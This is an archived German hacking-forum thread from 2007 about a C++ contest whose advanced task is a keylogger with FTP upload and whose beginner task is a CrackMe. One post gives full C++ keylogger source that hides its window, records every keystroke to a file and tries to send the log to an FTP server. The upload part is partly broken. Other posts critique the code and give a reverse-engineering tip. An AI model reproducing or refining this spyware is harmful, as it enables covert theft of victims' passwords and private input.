PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : C++ Wettbewerb geht in die dritte Runde



zao
11.11.2007, 15:19
Der C++ Wettbewerb geht in die dritte Runde.

Fortgeschrittene : Keylogger

ein Programm, das alle Tastendrücke abfängt und speichert. Zusätzlich könnte man Builder und eine Sending Option einbauen, z.B. an einen FTP

Anfänger : CrackMe

f0gx wird ein Programm schreiben, das ich versuchen sollt zu cracken, das heisst durch veränderungen im Memory ein bestimmtes Ergebnis zu erreichen.

Abgabetermin ist der 25.11.07

bitte schreibt schnell rein wo ihr mit macht, und falls was dazwischen kommt, bitte abmelden.
Achja und die Sources bitte + exe, per icq zu mir.

Zur Bewertung, es geht grafisches, sowie Sourcecode und der Funktionsumfang mit ein.

Mfg

Zao

l0dsb
11.11.2007, 20:12
C++ Wettbewerb #3 - An alle Beginner.

Ich habe das besagte CrackMe fertig gestellt. Es ist auf meiner Page (www.f0gx-resources.extra.hu) verfügbar. Es ist evtl. nicht ganz leicht, aber seht selbst.

Für Leute, die sich in der Materie etwas mehr auskennen, ist es einfach, aber schließlich geht es hier um die Beginner-Aufgabe. :)

Bei Rückfragen zum CrackMe (natürlich nicht, wie man es löst, aber falls Verstädnisfragen bestehen) könnt ihr mir eine PM schicken.

Viel Spaß!

f0Gx

Viper.aT
12.11.2007, 16:49
Ok bin bei Beginner dabei

-[RiDER]-
12.11.2007, 19:01
Ich würde mich sehr gerne am Wettbewerb beteiligen.

Da ich aber im Moment nicht über einen Wintendo verfüge und auch bis jetzt noch keinen Grund gefunden habe, mir jemals wieder einen anzuschaffen, werde ich wohl diesmal auf die Teilnahme verzichten müssen...

MfG RiDER

iD
12.11.2007, 19:03
Viel glück an alle Teilnehmer.

l0dsb
12.11.2007, 19:33
Werde doch selbst zu einem? :)

nexos
12.11.2007, 20:58
Ich werde beim Keylogger mitmachen, allerdings ohne GUI, wie mit zao bereits besprochen ,;-)

errox
13.11.2007, 14:53
Ich bin mit dem Keylogger fertig :)

•Keylog funktion
•FTP Send Action

Source wird open also ihr könnt ihn dann auch modden :)

MfG

Added after 3 minutes:

Vllt ist das eine Kleine hilfe für jemanden:


#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
using namespace std;
//Testet ob ein Key abgefragt wurde
string GetKey(int Key)
{
string KeyString = "";
if (Key == 8)
KeyString = "[del]";
else if (Key == 13)
KeyString = "\n";
else if (Key == 32)
KeyString = " ";
else if (Key == VK_PAUSE)
KeyString = "[PAUSE]";
else if (Key == VK_CAPITAL)
KeyString = "[CAPITAL]";
else if (Key == VK_SHIFT)
KeyString = "[SHIFT]";
else if (Key == VK_TAB)
KeyString = "[TAB]";
else if (Key == VK_CONTROL)
KeyString = "[STRG]";
else if (Key == VK_ESCAPE)
KeyString = "[ESC]";
else if (Key == VK_END)
KeyString = "[END]";
else if (Key == VK_HOME)
KeyString = "[HOME]";
else if (Key == VK_LEFT)
KeyString = "[LINKS]";
else if (Key == VK_RIGHT)
KeyString = "[RECHTS]";
else if (Key == VK_UP)
KeyString = "[HOCH]";
else if (Key == VK_DOWN)
KeyString = "[RUNTER]";
else if (Key == VK_SNAPSHOT)
KeyString = "[SNAPSHOT]";
else if (Key == VK_NUMLOCK)
KeyString = "[NUMLOCK]";
else if (Key == 190 || Key == 110)
KeyString = ".";
//Char klein machen
else if (Key >=96 && Key <= 105)
KeyString = Key-48;
else if (Key > 47 && Key < 60)
KeyString = Key;
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key > 64 && Key < 91)
{
if (GetKeyState(VK_CAPITAL))
KeyString = Key;
else
{
Key = Key + 32;
KeyString = Key;
}
}
}

return KeyString;
}

int main()
{
//Fenster verstecken
SetConsoleTitle(TEXT("abcdefghij"));
HWND muh = FindWindow(0,TEXT("abcdefghij"));
ShowWindow(muh,SW_HIDE);
//End
string Filename = "log.txt";
string Temp = "";
fstream log;
log.open(Filename.c_str(), std::fstream::out | std::fstream::app);
int keyvalue = 0; //Anzahl der eingegeben Keys
while(true)
{

Sleep(5);

for(int i = 8; i < 191; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
Temp = GetKey (i);

log.write(Temp.c_str(), Temp.size());
log.close();
log.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}

}
if(keyvalue == 1000)//Wenn 1000 keys eingegeben wurden
{
//Sende log zum ftp server
system("ftp.exe");//Öffne FTP.exe
system("open SERVERNAME");//Servername
system("ftpusername");
system("ftppasswort");
system("cd html"); //Verzeichniss
system("send"); //Senden
system("log.txt");// Log.txt wird hochgeladen

}
}
}


Added after 6 minutes:

Credit to : http://www.online-tutorials.net/

-[RiDER]-
13.11.2007, 15:09
Mach KeyString static und hübsch is ;)

Das sleep(5) wird wohl von den meisten compilern ignoriert werden...
und ich versteh nicht, warum du die datei immer wieder öffnest und schließt O_o


#include "stdafx.h"
den header müssteste wohl mitposten... was auch immer der bringen soll.... O_o

aber sieht mir doch sehr windowslike aus O_o
also ich kenn den ganzen wintendo kram nicht O_o
womit krieg ich denn kompiliert??

MfG RiDER

l0dsb
13.11.2007, 15:17
womit krieg ich denn kompiliert??
Mit Wintendo-Kompilern. :) Aber die Autoren können ja am Ende des Wettbewerbes sowieso noch mal kompilierte Versionen rausbringen.

errox
14.11.2007, 10:43
Visual Studio / Visual C++ ;)

l0dsb
20.11.2007, 14:27
Kleiner Tipp für den Beginnerteil:

Virtuelle Adresse (VA) = Relative Virtuelle Adresse (RVA) + ImageBase

VA: Die Werte, die man links in Olly sieht, z. B. 401000.
RVA: VA - Imagebase, also hier z. B. 1000.
ImageBase: Die Adresse, an der das Programm im Speicher beginnt, hier 400000.

-[RiDER]-
27.11.2007, 11:12
Na, Leute, wie siehts aus?

MfG RiDER

zao
27.11.2007, 11:49
es hat keiner abgegeben...pöhh wenn keiner will bitte *beleidigt sei*

mfg

zao